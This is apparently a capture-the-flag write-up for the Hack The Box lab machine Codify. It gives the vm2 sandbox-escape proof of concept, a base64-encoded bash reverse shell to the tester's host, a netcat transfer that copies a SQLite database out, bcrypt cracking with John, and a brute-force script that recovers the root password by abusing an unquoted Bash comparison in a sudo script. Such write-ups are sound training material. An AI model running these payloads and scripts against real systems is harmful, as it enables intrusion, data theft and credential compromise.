Description
Codify is an easy Hack The Box machine that features:
- Sandbox Escape in NodeJS vm2 Library
- Password Hash from a Database Cracking
- Password Reuse
- Escalation via a Bash Pattern Matching
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.151.136.
$ ping -c 3 10.129.151.136
PING 10.129.151.136 (10.129.151.136) 56(84) bytes of data.
64 bytes from 10.129.151.136: icmp_seq=1 ttl=63 time=44.2 ms
64 bytes from 10.129.151.136: icmp_seq=2 ttl=63 time=42.6 ms
64 bytes from 10.129.151.136: icmp_seq=3 ttl=63 time=42.8 ms
--- 10.129.151.136 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 42.646/43.207/44.205/0.707 ms
The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.151.136 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.151.136
Host is up (0.043s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds
We get three open ports, 22, 80 and 3000.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.151.136 -sV -sC -p22,80,3000 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.151.136
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.83 seconds
We get three services: one Secure Shell (SSH) and two Hypertext Transfer Protocol (HTTP) running on a Linux Ubuntu. As we don’t have feasible credentials for the SSH service we move to the HTTP services. We observe that the service is hosting a website, http://codify.htb and an API in the port 3000, so we add it to our /etc/hosts local file.
$ echo "10.129.151.136 codify.htb" | sudo tee -a /etc/hosts
With WhatWeb we can check that the server is running a Apache 2.4.52 web server.
$ whatweb --log-brief web_techs codify.htb
http://codify.htb [200 OK] Apache[2.4.52], Bootstrap[4.3.1], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.129.151.136], Title[Codify], X-Powered-By[Express]
Looking at the web page we see that it offers a service to test Node.js code in a sandbox environment.
We see that some restricted modules are child_process and fs. This is done to prevent users from executing arbitrary system commands. Also there is a whitelist with a short list of allowed modules: url, crypto, util, events, assert, stream, path, os and zlib. Moreover, in the About us page we can see that the application is using the vm2 library in its 3.9.16 version, used for sandboxing JavaScript. Version previous from 3.9.17 suffer of a sandbox escape vulnerability by injecting commands as we see in uptycs website, with CVE-2023-32314. We have a proof-of-concept in Github done by arkark.
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("echo hacked").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked
Exploitation
We just need to paste the JavaScript code to the application. We are getting a “hacked” text returned back. So we can try to spawn a reverse shell by replacing the execSync argument as this.
.execSync("echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTIvMTIzNCAwPiYx' | base64 -d | bash")
We should encode our reverse shell command to Base64.
Command of the reverse shell used:
sh -i >& /dev/tcp/10.10.14.52/1234 0>&1
Encoded string in Base64:
c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTIvMTIzNCAwPiYx
Command to send:
echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTIvMTIzNCAwPiYx' | base64 -d | bash
We start out listener and we obtain a reverse shell, so we upgrade it.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.52] from (UNKNOWN) [10.129.151.136] 57792
sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
svc@codify:~$
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
svc@codify:~$ stty rows 48 columns 156
svc@codify:~$ export TERM=xterm
svc@codify:~$ export SHELL=bash
Post-Exploitation
We see that we are logged as svc user and there are two other console users in the system, joshua and root.
svc@codify:~$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
svc@codify:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
Looking in the directories we find the source code of the Codify application in /var/www/editor, and we also find other application called contact in /var/www/contact. It contains a tickets.db file, which is a SQLite database so we download it to explore it.
svc@codify:/var/www/contact$ ls
index.js package.json package-lock.json templates tickets.db
svc@codify:/var/www/contact$ cat tickets.db | nc 10.10.14.52 1235
Exploring the contents we find an users table that contains a hashed password for the joshua user.
Contents of the users table:
id;username;password
3;joshua;$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
So we copy the hash to a file and we crack it with John the Ripper application and RockYou dictionary.
$ echo "joshua:$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2" > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1 (joshua)
1g 0:00:00:10 DONE 0.09451g/s 136.1p/s 136.1c/s 136.1C/s winston..michel
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We get the spongebob1 password for the joshua use. So we are going to check for password reuse in the Linux shell.
svc@codify:/var/www/contact$ su joshua
Password:
joshua@codify:/var/www/contact$ id
uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)
We logged in as the joshua user successfully. Checking the commands the user can run as root, we find one script, /opt/scripts/mysql-backup.sh.
joshua@codify:/var/www/contact$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
Checking its contents we find that it is backing up the contents of a MySQL database to a compressed file. Before doing the backup it asks for the password of the database, that is saved in the /root/.creds file. If the password we enter is incorrect it will not continue with the backup. We need to find a way to defeat the IF conditional without knowing the password.
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
...
In the first IF comparison we can see that the $DB_PASS and $USER_PASS variables are not being quoted so that means that the strings we enter will be treated as a pattern matching. This means if we enter the a* password the condition will be true if the $DB_PASS variable begins with the character a. Let’s iterate all over the character set.
joshua@codify:/var/www/contact$ for character in {a..z}; do echo "checking character $character" && bash -c "echo '$character*' | sudo /opt/scripts/mysql-backup.sh"; done
checking character a
Password confirmation failed!
...
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
checking character l
Password confirmation failed!
We get a match with the k character. Now we can create a Bash script to iterate over all the positions of the password.
#!/bin/bash
chars="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
password_length=30
password=""
## For every character in the password (limited by password_length)
for index in `seq 1 $password_length`
do
# For every number, uppercase and lowercase character
for (( i=0; i<${#chars}; i++ )); do
# Get the i character of the chars string
char="${chars:$i:1}"
# Execute the command and save its output to a file, then load it and
# delete it
echo "$password$char*" | sudo /opt/scripts/mysql-backup.sh &> out.txt
result_execution=`cat out.txt`
rm out.txt
# If the output of the program matches, the character is valid
if [[ "$result_execution" == *"Password confirmed!"* ]]; then
password="$password$char"
echo "Character $index: $password"
break
fi
done
# If a character was not found for this index, the password is complete
if [[ "${#password}" -lt "$index" ]]; then
echo "Finished! Full password is $password"
break
fi
done
Then we execute the Bash script and obtain the full password, kljh12k3jhaskjh12kjh3.
joshua@codify:/var/www/contact$ bash a.sh
Character 1: k
Character 2: kl
...
Character 20: kljh12k3jhaskjh12kjh
Character 21: kljh12k3jhaskjh12kjh3
Finished! Full password is kljh12k3jhaskjh12kjh3
If we login in the root account with this credential, we login in successfully.
joshua@codify:/var/www/contact$ su root
Password:
root@codify:/var/www/contact7# id
uid=0(root) gid=0(root) groups=0(root)
Flags
In the root shell we can obtain the user flag and the system flag.
joshua@codify:/var/www/contact$ su root
Password:
joshua@codify:/var/www/contact7# cat /home/joshua/user.txt
<REDACTED>
joshua@codify:/var/www/contact# cat /root/root.txt
<REDACTED>